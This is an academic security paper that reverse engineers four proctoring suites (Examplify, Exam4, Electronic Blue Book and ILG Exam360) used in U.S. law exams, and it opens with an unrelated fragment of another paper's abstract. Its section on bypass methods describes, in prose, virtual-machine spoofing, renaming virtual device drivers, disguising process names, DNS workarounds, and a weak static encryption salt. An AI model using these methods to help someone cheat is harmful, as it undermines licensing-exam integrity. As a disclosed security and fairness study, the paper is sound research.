analysis shows that Twilight provides rigorous privacy and
incurs moderate costs. We implemented Twilight and tested
its performance across a route of relays in two continents and
evaluated it under partial adoption using simulations. Our eval-
uation shows that it provides solid performance compared to
Lightning, today’s most popular PCN (providing no privacy),
and gives a tangible path to payment privacy in PCNs.

Availability
Our code is available online along with instructions for repro-
ducing the evaluation results, see link in [41].
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Abstract
Educators are rapidly switching to remote proctoring and
examination software for their testing needs, both due to
the COVID-19 pandemic and the expanding virtualiza-
tion of the education sector. State boards are increasingly
utilizing these software packages for high stakes legal
and medical licensing exams. Three key concerns arise
with the use of these complex programs: exam integrity,
exam procedural fairness, and exam-taker security and
privacy.

We conduct the first technical analysis of each of these
concerns through a case study of four primary proctoring
suites used in U.S. law school and state attorney licensing
exams. We reverse engineer these proctoring suites and
find that despite promises of high-security, all their anti-
cheating measures can be trivially bypassed and can pose
significant user security risks.

We evaluate current facial recognition classifiers along-
side the classifier used by Examplify, the legal exam proc-
toring suite with the largest market share, to ascertain
their accuracy and determine whether faces with certain
skin tones are more readily flagged for cheating. Finally,
we offer recommendations to improve the integrity and
fairness of the remotely proctored exam experience.

1 Introduction

The rapid adoption of proctoring suites (software for mon-
itoring students while they take exams remotely) is a
phenomenon precipitated by the pandemic [27]. Subse-
quently, we find high stakes exams being administered
remotely. Recent media coverage provides anecdotal evi-
dence that these proctoring suites introduce security con-
cerns, reduce procedural fairness, and pose risk to exam
integrity [28, 32]. In this work, we aim to investigate the
anecdotal claims and systematize the study of these pack-
ages. We evaluate the proctoring software on its technical
merits using traditional reverse engineering techniques
and perform a fairness analysis.

Historically, computerized test taking benefited from
in-person proctors and institution controlled hardware.
Proctors are unavailable in the remote test-taking setting,
prompting institutions to turn to proctoring suites. Proc-
toring suites attempt to mitigate the increased risks of
cheating associated with the remote environment and stu-
dent hardware by installing pervasive, highly privileged
services on students’ computers. Such software attempts
to reduce academic misconduct during exams by limiting
access to online resources and system functions, such as
the ability to paste in pre-written materials. Considerable
privacy concerns arise since a student’s laptop is not gen-
erally a single use device that only contains class related
material. A student using their own hardware faces the
risk of having their personal information and other sensi-
tive information in their possession misused or leaked by
the proctoring software.

Initially, the remote proctoring software was marketed
and designed for tertiary institutions, however, the soft-
ware has recently been adopted for medicine and law
licensing exams. Inherent societal costs to illegitimately
passing students are magnified in both professions, where
an inept lawyer can put an individual’s liberty at stake and
an incompetent physician can cause significant trauma
to patients. The time and monetary burden of profes-
sional education and licensing places extreme pressure
on students and this, along with the benefits of passing,
increases the extent to which students may be willing
to risk cheating. Maintaining confidence that degrees
earned and licenses obtained ensure a minimum degree
of competency and knowledge is imperative. Equally im-
portant is the confidence that no individual who merits
entrance into a profession has been blocked due to false
cheating allegations. Applied research into whether re-
mote exam proctoring puts either of these interests in
jeopardy is lacking in current literature and merits atten-
tion from the security and privacy community.

We conduct the first systematic, technical analysis of
the remote proctoring ecosystem of law school and state
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bar exam boards. By limiting the scope of our investiga-
tion to the single regulated profession of law, we can map
out how the software is used across the entire profession,
increasing confidence in our proposed recommendations.
We do not, however, have reason to suspect that apply-
ing our methodology to other examination settings would
yield substantially different results.

Through public data aggregation and survey, four exam
proctoring suites utilized in 93% of U.S. law schools and
100% of remote state bar exams are identified: Examplify,
ILG Exam360, Exam4, and Electronic Blue Book. Re-
verse engineering of these four proctoring suites reveals
vulnerabilities of varying complexity that compromise
the purportedly secure testing environments. We evaluate
suites in the context of three potential adversaries: a law
student; a law student with computer science experience;
and an experienced reverse engineer. We discuss vulner-
abilities identified with each. The proctoring suites we
analyzed installed highly privileged system services with
full access to user activities. Highlighting the privacy
trade-off of the software packages, we find that system
logs created before an exam begins are nonetheless trans-
mitted to the vendor’s servers during the exam.

We determine that Examplify implements a facial
recognition classifier to authenticate a student against a
pre-existing photograph prior to starting an exam. The
classifier is then re-run repeatedly during the exam, de-
pending on the settings selected by the exam administra-
tor. At each interval, the classifier attempts to determine
whether the student initially authenticated is the student
who is presently taking the exam. We extract the name of
the facial recognition system Examplify is using, ‘face-
api.js’, and note they employ the pre-trained models that
are publicly available on the face-api’s GitHub. To evalu-
ate whether one is more accurate than the other, we test
these models against current off-the-shelf, state-of-the-art
(SOTA) classifiers using several different datasets. We
find significant accuracy concerns across the board.

We then evaluate the classifiers across subjects of dif-
ferent races and find concerning variability. We investi-
gate proctoring suite terms of service and user interfaces
to shed light on whether a user is giving informed consent
to all types of monitoring the software performs.

We offer privacy protecting recommendations for re-
mote exam proctoring administrators and students. We
conclude with suggestions for vendors on ways to im-
prove exam integrity while lessening the student privacy
impact.

Contributions

• We survey the top 180 law schools and all U.S. state
bar associations to determine their remote proctor-
ing practices and release the dataset (Section 3.3).

• We reverse engineer four exam proctoring suites and
identify the security the proctoring suite provides
the institution and its student privacy ramifications
(Section 4).

• We release a tool for automatically and rapidly ex-
tracting key security and privacy properties of exam
suite software (Section 4.4).

• We perform a detailed evaluation of racial biases
in the facial recognition model used in the software
with the dominant market-share for remote proctor-
ing in law schools (Section 5).

While we acknowledge that the attack techniques we
use are generally well known, their application to this
high-stakes context merits a comprehensive analysis.

Research Ethics & Limitations
While our survey involved contacting law schools and

state bar associations to determine what platforms they
use and how they use them, our work was exempt from
IRB review as we did not collect data pertaining to indi-
viduals.

Our analysis of facial recognition systems used a data
set containing images of incarcerated individuals who
were not given an opportunity by the original researcher
to consent to its use for research. We consulted with an ap-
plied ethicist independent of the project and determined
that while we are unable to rectify the consent issue to
fully uphold the principle of autonomy, use of these im-
ages is nonetheless appropriate, as our work fulfills the
principle of beneficence in the following manner:

• Our work aims to aid marginalized groups and
dis-empowered individuals by evaluating the pri-
vacy/bias concerns of software that powerful organi-
zations require students to use.

• Our work does not cause additional harm to the in-
dividuals in our dataset, beyond perpetuating its use
in academic literature.

Thus, while we are unable to uphold the principle of
autonomy to the greatest extent, we believe our research
is nonetheless appropriate.

Our analysis of facial recognition systems focuses on
racial biases in algorithms, despite evidence that system
performance is more closely tied to skin-tone with race
as a proxy. However, as our very large reference data
sets are racially coded rather than coded by skin tone, a
more sophisticated distinguishing analysis was outside
our scope.

We restrict ourselves to the law and regulated profes-
sions sub-sector of education. Centering our work on a
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limited set of products allows for timely research, con-
sidering current societal needs, and more comprehensive
coverage of our chosen area.

We intentionally refrain from evaluating server side
components and functionality of the software packages
to avoid the accompanying legal and ethical concerns. We
conducted responsible disclosure to the proctoring suite
vendors, making them aware of discovered vulnerabili-
ties along with potential remediation steps. We believe
this mitigates any potential harm disclosing these vulner-
abilities may have on exam integrity.

2 Related Work

Several previous studies [22, 38] have discussed differ-
ent threat models remote proctoring solutions face. They
have recommended security features to mitigate these
new vulnerabilities such as improved authentication mea-
sures or 360-degree cameras. Slusky [34] extended this
by investigating the security feature claims of 20 different
exam proctoring suites, noting their strengths and weak-
nesses against various threat models. Teclehaimanot, E T
A L . [36] studied eight John Madison University profes-
sors and determined that a significant number of their stu-
dents seemingly gained an advantage on remotely proc-
tored exams despite the use of a proctoring suite. Cohney,
E T A L . [9] performed a multidisciplinary analysis of
the risks faced by institutions as they rapidly adopted
EdTech.

A few studies attempted to quantify how a student’s
perceived stress and performance varies between remote
and in person exam environments. Karim, E T A L . [20]
studied 582 subjects taking a cognitive test in each envi-
ronment and found similar scores between the two groups
but a higher perceived stress level in subjects in the re-
mote setting. Teclehaimanot, E T A L . [36] performed a
meta-analysis of test scores recorded in proctored and un-
proctored environments, finding a 0.20 standard deviation
between the two sets.

Teclehaimanot, E T A L . [36] surveyed eight experts
from different universities with experience using remote
exam proctoring and found the perceived trust of the ven-
dor and the security of the offering to be the primary
factors influencing their solution adoption decision. The
recent work of Balash, E T A L . [4] presented a detailed
user-study of student responses to remote proctoring soft-
ware in light of the pandemic. Barrett [5] discussed the
risks of adopting remote proctoring software in terms of
bias, test-taker anxiety, and student privacy.

Previous studies have demonstrated biases in different
components of facial recognition systems [23, 39]. Singh,
E T A L . [33] created targeted attacks to cause false posi-
tives by the classifier. While we do not investigate these
attacks in the context of Examplify’s classifier, we antic-

Figure 1: The adoption of remote exam proctoring suites
by state bar exam associations across the United States.

ipate no reason they would not be applicable. Nagpal,
E T A L . [25] evaluated several different machine learn-
ing classifiers using the Multi-PIE and Morph-II datasets
and found significant racial biases. We closely structure
our methodology for detecting biases in Examplify’s clas-
sifier to this work. The National Institute of Standards
and Technology (NIST) conducted the Face Recognition
Vendor Test (FRVT) to quantify face recognition accu-
racy at a very large scale [17], providing methodological
expertise that guides our work.

Perhaps more importantly, teachers and students have
documented their concerns in increasing number since
the start of the pandemic. Students have performed small
scale experiments testing various proctoring suites [14,
19] and teachers have voiced misgivings [35] about the
use of facial recognition.

3 Preliminaries

Computerized exams, coupled with the need for remote
testing, have prompted increased reliance on proctoring
software, some inclusive of facial recognition classifiers.
Subsequently, concerns over privacy, security, racial bias,
and fairness have come to the forefront.

3.1 Exam Software

Computerized exam software generally consists of a user
interface that displays multiple choice questions with an-
swers and/or text boxes for student answer entry. This is
coupled with a series of cheating detection and deterrence
tools tailored to meet the assumed threat model. The gen-
eral assumption: students cheat by searching the internet;
opening documents/programs on their computers; or con-
sulting a device, person, or printed material during the
exam. To this end, exam software generally block ac-
cess to the internet and non-approved applications on the
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user’s machine; perform audio recordings to detect ver-
bal communication with another person; and run facial
recognition to ensure the appropriate individual takes the
entire exam and does so without looking away to consult
another information source.

Facial recognition is a contentious aspect of exam soft-
ware given general concerns with the accuracy of such
models across different skin-tones and face structures. As
a result, individuals from certain groups may be flagged
more frequently for potential cheating—a classic case of
‘disparate impact’.

As a highly regulated industry, law pays particular at-
tention to ethical and professional standards. When a
law student cheats within school or during a licensing
exam, there is a high likelihood that the accrediting or-
ganization will prohibit them (potentially permanently)
from practice. We infer that these high standards within
the profession affect decisions made regarding exam ad-
ministration and the choice of what remote proctoring
software platform to use, if any.

3.2 Legal Education
In modeling the threats to law school and bar exams,
we consider the unique structure of testing and nature
of the exams themselves. Law school course grades de-
pend primarily on a single, tightly curved final exam
typically worth at least 85% of the course grade. Law
school grades and thus, exams, are closely tied to job
prospects (more-so than many other fields) [6] and bar
exam scores are a determining factor in lawyer licensing.
These factors, combined with the high-debt burden asso-
ciated with U.S. legal education, place extreme pressure
on students. Strong motivation exists for unscrupulous
students to cheat, even by means of paying outside in-
dividuals for materials, technical bypasses, or cheating
tools. Law exams often take the format of a story rid-
dled with legal issues that a student must identify and
analyze. Exam answers consisting of several pages of
written text are common so that cheating by copying an-
other student’s answer would be painfully obvious. Stu-
dent cheating by obtaining exam content in advance to
pre-write answers or using messenger apps during the
exam to consult friends, comprise the likely and more
difficult to detect forms of dishonesty.

COVID-19 has caused bar associations and schools
to rapidly adopt an at home remote testing model, forc-
ing administrators to look for additional assurances that
cheating attempts will be detected.

3.3 Software Usage Survey
To determine the targets for our technical work, we
survey software usage across bar associations and law

Exam Proctoring Suite Schools Percentage

Examplify 99 55%
Exam4 52 29%
Electronic Blue Book 13 7.2%
Canvas 4 2.2%
MyLaw 3 1.7%
ILG Exam360 1 0.56%
Other 5 4.5%

Table 1: Examplify leads in market share followed by
Exam4 and Electronic Blue Book. Two schools did not
respond to inquiries and one closed down.

schools. We identify the remote proctoring software
used by the top 180 law schools by scraping public
facing websites and making private inquiries to law
school administrations. Table 1 depicts our survey re-
sults. We repeat this process for every state bar associ-
ation’s licensing exam and illustrate the results in Fig-
ure 1. Our data set of the individual school and state bar
remote proctoring suite adoption choices is available at
github.com/WWP22/ProctoringSuiteAdoption. We find
that Examplify, ILG Exam360, Exam 4, and Electronic
Blue Book (EBB) comprise the four primary exam soft-
ware suites used by over 93% of law schools and 100%
of bar exam associations. We select these for analysis in
the remainder of this work.

4 Cheating

The uncontrolled setting and hardware of the remote en-
vironment makes for a broad threat model. To evaluate
the security provided by these exam proctoring suites, we
present a reverse engineering methodology and propose
three theoretical but realistic adversaries to a remotely
proctored law exam. Practical compromises to the se-
curity features we identify, along with potential attacks
from each of these adversaries, are discussed.

4.1 Methodology

The four exam suites analyzed are not open source, so
we reverse engineer the binaries using existing static/dy-
namic analysis tools. We focus on three questions: (1)
Do the exam suites provide the security guarantees they
promise? (2) What privacy and security is the user re-
quired to give up to achieve these guarantees? and (3)
Are the exam integrity checks fair across all examinees?

We isolate suspected critical functions using common
reverse engineering methods such as system log inspec-
tion and recording of user interface dialogues. We then
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Security Feature Examplify Exam4 EBB ILG Exam360

Encryption at Rest AES-256 AES-256 3DES/AES-256 AES-256
Encryption in Transit HTTPS HTTP HTTP HTTPS
Virtual Machine Detection Block List Block List Block List Block List
Virtual Device Detection Block List N/I N/I Block List
Clipboard Management Integrated Cleared Cleared Integrated
Screenshot Capture N/I N/I N/I App Window
Process/App Restrictions Allow List Block List Block List Allow List
Network Access Restrictions Route Table Adapter Disable N/I Null DNS

Table 2: Summary of security features implemented in the evaluated exam proctoring suites. N/I indicates the feature
was not implemented by the exam proctoring suite.

use traditional disassembly and reverse engineering work-
flows to manually inspect binary areas of interest.

We employed dynamic analysis to identify and de-
scribe functionality that was not apparent through the
static analysis, disabling anti-debugging functionality
when present in the software.

To evaluate the integrity of exams in transit, we use
standard network interposition techniques to determine
whether the connection to retrieve the exam is over an
encryption TLS connection or in plaintext. If the connec-
tion is over TLS, we evaluate the program’s response to
being served: (1) a valid certificate that has an incorrect
common name; and (2) a self-signed certificate that is
not recognized by any certificate authority but bears the
correct common name. We also attempt to force a down-
grade by blocking access to the port before the handshake
can occur and then watching for further plaintext retries
on a separate port.

For readability, we defer exam fairness methodology
to Section 5 due to its increased depth.

4.2 Threat Model for Exam Proctoring
We informally model three adversaries likely to interfere
with the fair and secure operation of a remotely proctored
law exam. We emphasize that, in reality, many students
may be modelled as a more sophisticated adversary than
their background would suggest by hiring help. Attack
budgets ranging from a few to several thousands of dol-
lars are feasible, given the hundreds-of-thousands of dol-
lars spent on law school. We define three adversaries:

Law Student An individual able to adjust basic system
and file settings, configure simple hardware devices, and
use known passwords. No experience in reverse engineer-
ing software, programming, modifying binary settings, or
extracting encryption keys is assumed.
Law Student with CS Background An individual with
significant programming experience, familiarity with ba-
sic system administration, and the knowledge to extract

keys from the binary. No ability to modify any portion of
the binary and no extensive experience reverse engineer-
ing software is assumed.
Experienced Reverse Engineer An individual with
all the prior capabilities with additional experience ana-
lyzing and rebuilding binaries, disassembling software,
and applying patches. Familiarity with advanced sys-
tem administration and the ability to: adjust any setting,
configure hardware devices, modify drivers, use custom
encryption tools, and extract encryption keys from and
modify the control flow of the binary is assumed. While
we expect the number of students with this background
is low, such individuals may sell their services or cracked
versions of software.

4.3 Reverse Engineering Findings

This subsection details our findings regarding how proc-
toring suites operate. Exam proctoring suites use a few
distinct components to ensure exam integrity is main-
tained: computer monitoring, exam content protec-
tion, and identity verification and authentication. We
categorize our findings based on these components for
the following four proctoring suites: Examplify, Exam 4,
Electronic Blue Book, and ILG Exam360.

4.3.1 Computer Monitoring

The computer monitoring components in an exam suite
aim to prevent a student from accessing unauthorized re-
sources during the exam and may even restrict the student
from beginning the exam if certain parameters are not met.
A summary of the security related features used by each
suite is provided in Table 2, along with a summary of
privacy related features in Table 3. Each computer moni-
toring component of exam integrity is outlined, followed
by each exam suite’s implementation and vulnerability to
the aforementioned adversaries. We validate the attacks
referenced in this section against the proctoring suite in
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Privacy Related Feature Examplify Exam4 EBB ILG Exam360

Initial Identity Verification Automated N/I N/I Human
Continuous Identity Check Automated N/I N/I Human
System Service Always Running App Running App Running App Running
Device Identifiers App List/OS/Hardware N/I N/I OS/Hardware

Table 3: Privacy related features implemented in the evaluated exam proctoring suites. Exam4 and Electronic Blue
Book do not implement any image based identity verification functionality or collect any notable device identifiers.

a simulated test environment to ensure the attacks will
succeed in a real deployment.

Virtual Machine Detection Virtual machine software al-
lows a guest operating system to be run inside the primary
environment, bypassing any monitoring the proctoring
suite could hope to achieve. To prevent this, most suites
feature virtual machine detection to detect and prevent at-
tempts to run the software inside a virtual container. The
most common implementation of this is a simple check
of the computer’s CPU manufacturer to see if the string
matches known virtual machine software vendors. An
additional check of CPU temperature for constant values
or known presets can be run since a virtual CPU does not
often pass through the real value from the actual CPU.

All the exam suites we examined implement a vir-
tual machine check by comparing the CPU vendor field
against a list of known virtual machine vendors. Exam-
plify extends this by retrieving the CPU temperature and
flagging a device if it reports a CPU temperature of 100C,
as this is the typical default value virtual machine ven-
dors use. Electronic Blue Book also checks the computer,
hard drive, network adapter, and bios vendor information
to see if any fields contain the string ‘virtual’. If a virtual
machine is detected, they log the attempt and prompt the
user to run the software outside a virtual machine. Ta-
ble 4 provides a summary of the popular virtual machine
software blocked by each proctoring suite.

The CPU vendor check implemented by all the exam
suites can be easily bypassed using common virtual ma-
chine software since this field is generally configurable.
The CPU temperature check Examplify conducts is de-
feated by configuring the virtual machine to pass through
the CPU temperature of the actual computer’s CPU ven-
dor or a random string not on the block list the exam
proctoring suites are using. A law student with a CS
background, capable of installing a virtual machine and
configuring the CPU vendor, could readily complete this
attack.

Virtual Device Detection Virtual webcam and micro-
phone devices can allow adversaries to take exams out-
side an appropriate physical context by replaying a prere-
corded file or piping a connection to a separate device.
Adversaries could bypass exam suite identity verifica-

tion by returning video of themselves in another location
while someone takes the exam for them or by returning a
prerecorded video of them taking the exam. Exam proc-
toring suites attempt to mitigate this threat by checking
the device vendor and bus location against a list of flagged
vendors. If one of these blocked vendors is detected, the
software will either flag the exam for further review or
prevent the student from beginning to take it.

Examplify and ILG Exam360 detect virtual webcams
and microphones by retrieving the operating system’s de-
vice list and comparing it to known virtual device vendors.
As Exam4 and Electronic Blue Book do not use the com-
puter’s webcam or microphone, they do not implement
a check. Table 5 provides an overview of the popular
virtual webcam/microphone vendors on the blocked list.

An adversary using a virtual webcam or microphone
can easily evade detection by installing a virtual driver
not on the known vendor list. More skillfully, an adver-
sary could rename the driver of a blocked virtual device
since the signing key of the driver is not checked by the
exam proctoring suite. All these attacks are well within
the capabilities of a student with a CS background. A
student able to create a custom virtual device that mas-
queraded as a legitimate driver could redistribute this to
other students.

Clipboard Management Students copying pre-written
text into an exam is a major concern, especially in the
field of law, where exam essay answers may require
lengthy summaries of law and/or analysis that can be pre-
pared before the exam. Exam proctoring suites attempt
to prevent this by either clearing the clipboard before the
exam or logging its contents for later analysis. During
the exam, the clipboard generally can be used inside the
proctoring suite. However, copying from outside apps is
prohibited or alternately logged using a similar method.

The exam proctoring suites implement clipboard pro-
tection by calling the system clear function before the
exam begins. The content is not captured before the
clear operation by any of the suites. Examplify and ILG
Exam360 implement a custom restricted clipboard for
use inside the test environment that limits what can be
copied.
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Virtual Machine Examplify Exam4 EBB ILG Exam360

VirtualBox X X X X
VMWare Workstation X X X X
VMWare Fusion X
Parallels X X X
Hyper-V X
QEMU X

Table 4: Popular virtual machine software blocked by the evaluated exam proctoring suites. VirtualBox and VMWare
Workstation were blocked by all of the proctoring suites.

These protections do not preclude the use of an ex-
ternal hardware connected clipboard such as a KVM
or a built-in keyboard macro that allows note storage.
Such hardware devices frequently present themselves as
standard human interface devices, which do not require
any additional drivers. We do not investigate the Mac
version of the exam proctoring suites. However, collo-
quial evidence suggests that the iCloud clipboard sharing
might bypass protections by loading information from
the phone’s clipboard into the Mac clipboard. Exam proc-
toring suites could attempt to protect against cutting and
pasting clipboard content by fingerprinting the input rate
of a student’s keystrokes, but we did not find an imple-
mentation of this in any of the proctoring suites we ana-
lyzed. Purchasing a hardware device capable of maintain-
ing an external clipboard is an attack most law students
could perform.

Screenshot Capture Exam proctoring suites may offer
screenshots of the student’s screen during the exam to
allow a proctor to retroactively review the exam session to
determine if unauthorized resources were accessed on the
computer. These screenshots are normally captured using
a highly privileged system level service, which leads to
potential privacy issues when an exam is not in progress.

ILG Exam360 is the only exam suite we analyzed that
provides screenshot captures of the student’s computer
during an exam. The screenshot is captured by calling
their highly privileged system service using a Javascript
call that uploads the screenshot to Exam360.

Bypassing this protection directly would require some-
one who had extensive reverse engineering experience
since integrity checks need to be removed from the
Exam360 binary before a modified Javascript module can
be loaded. The modified Javascript module could then be
coded to either upload a set of pre-taken screenshots or
only snapshot a specific area of the screen. A less com-
plex approach to bypassing this protection would be to
use a secondary display/device. However, the viability of
this approach may be limited by other protections such
as requiring test takers to show their work area before the
exam.

Process/Application Restrictions Process restrictions
are normally used to limit what applications a student
can access during an exam. These are generally imple-
mented using a process allow list that contains processes
specifically allowed by the exam, in addition to critical
processes the operating system needs to maintain the
computer’s function. A weaker implementation involves
using process block lists that prevent certain processes,
such as web browser activation, from being started. Both
approaches are implemented using the exam proctoring
suite’s highly privileged system service, which starts a
watchdog service that forcibly kills unauthorized pro-
cesses.

Examplify and ILG Exam360 compare the processes
currently running on the system to a list of processes
they and the exam itself allow, continuously monitoring
for and forcibly killing any processes that are running but
not included on the list. Exam4 and Electronic Blue Book
have a list of disallowed services that they kill upon exam
commencement.

To subvert either restriction, a student with CS back-
ground could recompile a piece of open-source software
to report a different process name. As an example, the
Chromium web browser could be recompiled to report
as ‘explorer.exe’, which is allowed by every testing suite
we looked at since it is a critical user interface compo-
nent for Windows based systems. For suites using block
lists, most law students would be capable of finding a
process not on the list through trial and error. Proctoring
suites generally allow a student to test the exam taking
restrictions before beginning the exam, providing a low
risk way for students to experiment with circumventing
the software.

Network Interception Closed book exams require the
software to limit a student’s ability to search for informa-
tion on the internet. Approaches to block internet access
that we found included: dropping internet traffic, insert-
ing an active man in the middle to capture traffic, or redi-
recting the traffic to the vendor’s servers. The simplest
approach is dropping the traffic using a routing rule.
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Virtual Webcam/Microphone Examplify Exam4 EBB ILG Exam360

ManyCam X N/I N/I X
YouCam X N/I N/I X
MyCam X N/I N/I X
Logitech Capture N/I N/I
OBS Studio N/I N/I X

Table 5: Popular virtual webcams and microphones detected or blocked by Examplify or ILG Exam360. Exam4 and
Electronic Blue Book do not use the webcam or microphone during exams so no specific security features to target
these devices are implemented.

Examplify restricts network traffic by inserting a null
route into the default operating system routing table.
Exam4 disables the network adapter during the exami-
nation. ILG Exam360 inserts a null DNS entry into the
network configuration causing domain name resolution
failure. Electronic Blue Book does not implement any
network restrictions other than blocking access to com-
mon websites through their process block list. None of
the implementations inspected capture browser traffic or
redirect it to a site controlled by the suite vendor.

The network restrictions for both Examplify and
Exam4 would likely require an experienced reverse engi-
neer to bypass, as it requires significant modifications to
the binary to override. These proctoring suites routinely
check the setting throughout the exam, which prevents
easier bypasses from working. ILG Exam360’s protec-
tion can be bypassed by accessing external resources us-
ing the IP address or manually setting the DNS server in
the browser. This is a relatively simple attack within the
capabilities of any of our theoretical attackers.
Summary Most vulnerabilities can be easily exploited
by a law student with a computer science background,
raising serious concerns regarding the overall security of
these proctoring suites. The vulnerabilities and the adver-
sary model capable of exploiting them are summarized
in Table 6. Recapping, proctoring suites attempt to main-
tain exam integrity through the computer monitoring dis-
cussed above and through exam content protection and
identity verification/authentication, to be discussed in the
next two sections.

4.3.2 Exam Content Protection

Exams are often downloaded to student computers before
the actual exam begins. Security during transit between
proctoring suite vendor servers and students is paramount
since traffic can be easily intercepted using off the shelf
solutions. Exam protection during the download and
while sitting on the student’s computer is vital to prevent
early or unauthorized access. We detail our findings for
each exam suite for both encryption at rest and in transit
below.

Encryption In Transit Examplify and ILG Exam360
use transport layer security (TLS) for all their connec-
tions. The certificate chain, expiration date, and common
name are correctly verified, mitigating active man in the
middle attacks. The connection is never downgraded to
plaintext HTTP, even if the software is unable to success-
fully complete the handshake. Examplify includes their
own certificate store inside the software to prevent poten-
tially using a modified system certificate store. Exam4
and Electronic Blue Book allow the individual institution
to select their transport layer security settings. Electronic
Blue Book allows each institution to configure whether
to use TLS or not, and the configurations are available
publicly. We found several that failed to enable TLS.
Exam4 similarly features per-school configuration, but
the configurations are not public. However, the school
we obtained the Exam4 binary from did not have TLS
enabled.

Examplify and ILG Exam360’s implementation would
require an experienced reverse engineer to modify the bi-
nary to remove the certificate verification. This would
allow a man in the middle to be used to capture informa-
tion in transit. Exam4 and Electronic Blue Book could
potentially be exploited by a law student with CS experi-
ence depending on the configuration the institution used.
If TLS was not enabled, a man in the middle proxy could
be run without any significant custom configuration.

Encryption At Rest Examplify, ILG Exam360, and
Exam4 use AES-256 for encrypting exams at rest on stu-
dent computers. ILG Exam360 and Exam4 use SHA1 to
derive the AES key from a password. Examplify uses
10,000 iterations of the PBKDF2 function to derive the
exam password. The exam manifest, which contains the
main exam password salt, exam information, allowed re-
sources, and monitoring settings, is encrypted separately
using a static key stored in the Examplify binary. Elec-
tronic Blue Book allows the institution to choose between
3DES and AES for exam encryption and uses 1,000 iter-
ations of SHA1 by default for password derivation, but
the institution can configure the iteration count. The pass-
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Adversary

Vulnerable Component Law Student Law Student with CS Background Exp. Reverse Engineer

Virtual Machine Detection X X
Virtual Device Detection X X
Clipboard Management X X X
Screenshot Capture X
Process/App Restrictions X X
Network Interception X X X

Table 6: Proctoring suite security component vulnerability to different adversary types.

word salt is statically stored in the Electronic Blue Book
binary and is set to ‘Kosher’.

The encryption of the exams at rest would be vulner-
able to exhaustive key search attacks depending on the
complexity of the password being used. The implemen-
tation used by Examplify and Electronic Blue Book can
be searched moderately quickly due to the static salt and
low password derivation function iterations being used.
We believe these attacks could be easily conducted by a
law student with CS experience.

4.3.3 Identity Verification and Authentication

Exam suites all implement some form of user authentica-
tion to ensure the test taker matches the individual to be
assessed.
Logins Exam4, ILG Exam360, and Electronic Blue
Book implement standard single factor logins. Exam-
plify implements a similar single factor login. OAuth
is not supported by any of these solutions. As a result,
institutions cannot easily add more extensive identity ver-
ification measures such as two factor verification.
General Interaction Fingerprinting General inter-
action fingerprinting analyzes the pattern of a student’s
key strokes and mouse movements against the class av-
erage for anomalies and, if present, flags the exam for
human proctor review. This poses the risk of potentially
unfairly flagging students with disabilities or those who
legitimately deviate from the class average pattern. While
none of the suites we analyzed use this, it is used by Proc-
torio, a common proctoring suite outside our scope.
Facial Recognition As an analog to students showing ID
upon entering an exam hall, some exam proctoring suites
employ facial recognition for identity verification. The
distance of the facial feature vectors of a student’s image
are compared against those of the student’s trusted refer-
ence image and if below a certain threshold, the student
is considered verified.

ILG Exam360 offers facial recognition, but also em-
ploys a remote human verification method before exam
initiation. A webcam connects a student with a human

proctor who conducts the final verification. In the end,
the process resembles that of an exam hall. Examplify’s
verification implementation relies on an automated facial
recognition classifier. Our research quantifies bias intro-
duced by Examplify’s process, which we detail in Sec-
tion 5.3. Exam4 and Electronic Blue Book do not offer
facial recognition.
Summary Demonstrating how suite security features
can be easily bypassed by a law student with computer
science background sheds light on the potential nega-
tive impact remote exam proctoring can have on exam
integrity. A discussion of the privacy concerns generated
by suite security features and their potential for introduc-
ing bias into the exam taking process is also necessary to
understand the full ramifications of remote proctoring.

4.3.4 Student Privacy Concerns

Two major privacy questions arise when evaluating the
impact of remote exam proctoring software : (1) Is the
user appropriately informed of the information being col-
lected upon engaging with the remote exam software?
and (2) Does the potential for pervasive monitoring after
the student is no longer actively taking an exam exist?
To this end, we develop an analysis tool to assist other
researchers in identifying remote exam software privacy
issues.
Informed Consent

An examinee cannot provide meaningful consent to
the activities performed by the exam proctoring software
if they are not informed of the specific data being col-
lected or the surveillance mechanisms utilized. Exam-
inees are prohibited from reverse engineering the soft-
ware to discover such information and attempts to glean
this information by reading privacy policies, end user li-
cense agreements, or similar documents will be met with
vague and sometimes conflicting verbiage. As an exam-
ple, ExamSoft’s Examplify privacy policy notes, “in or-
der to secure the exam taker’s device, ExamSoft must
access and, in some instances, modify device system
files.” This broad statement provides no substantive lim-
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itation on what the Examplify software may do. Other
privacy policies contain conflicting statements about the
software’s activities. For example, the Extegrity Exam4
privacy policy states, “Exam4 does not access any data on
the laptop other than the data created by the act of taking
an exam” and “Exam4 monitors activity the student en-
gages in while taking an exam and creates an encrypted
log report for evidentiary purposes.” It is not possible
for Exam4 to monitor activity the student engages in if it
does not access any data other than that created by the act
of taking an exam. These types of statements thwart a stu-
dent’s ability to meaningfully consent. Furthermore, even
if an examinee was fully aware of the software privacy
implications, meaningful consent is still lacking given the
examinee’s lack of meaningful alternatives. Faced with
accepting and using the software as-is or refraining from
taking the exam, most law students would opt for the for-
mer, as the latter coincides with an inability to become
a licensed lawyer. Such a choice is not a choice. These
policies and agreements fail to meet conventional ethical
standards for consent [3].

Post Exam Monitoring Examplify installs a highly
privileged system service that is constantly running on
the computer even if Examplify is not open. Currently
running applications on a user’s computer are logged to
a debugging file that is uploaded periodically once the
Examplify application is open. The service also regularly
reaches out to the Examplify server to check for and in-
stall updates for the service or the binary. Exam4 and
ILG Exam360 also implement a system service but stop
it when the exam is terminated gracefully. Electronic
Blue Book directly hooks into the Windows system ser-
vice with their binary to provide their monitoring features,
guaranteeing no additional background monitoring is be-
ing performed once the binary is closed.

4.4 Automating Privacy Impact Analysis

We created an analysis tool based on the RADARE2 and
Ghidra frameworks [8] to simplify the reverse engineer-
ing process for researchers who want to quickly analyze
the privacy impact of other exam proctoring solutions.
We release the tool publicly at github.com/WWP22/Proc-
toringSuiteAnalysisTool. This paper’s approach, using
traditional tools like IDA, works well for in depth stud-
ies, but is not well suited for providing a quick summary
of an exam proctoring suite’s privacy impact. Our tool
requires a user to simply run the Python script on the bi-
nary they want to analyze and a high-level overview of
the application will be provided.

4.4.1 Design

We design the reverse engineering tool using a methodol-
ogy similar to one an experienced reverse engineer would
likely follow when analyzing a piece of unfamiliar soft-
ware. We prioritize using techniques we believe gener-
alize well to other pieces of software, such as tracing
the control flow of device drivers and system libraries.
These would need to be called by any potential program
hoping to successfully trigger the device. This improves
the ability of our software to be widely applicable to any
proctoring suite.

The analysis tool first loads all the shared object files
the binary uses and then performs auto analysis using
RADARE2’s built-in analysis suite. This attempts to lo-
cate the segments and functions to generate a control flow
graph. From this control flow graph, we extract cross-
references to lines in any part of the code, which allows
us to more easily establish where certain data elements
are being used.

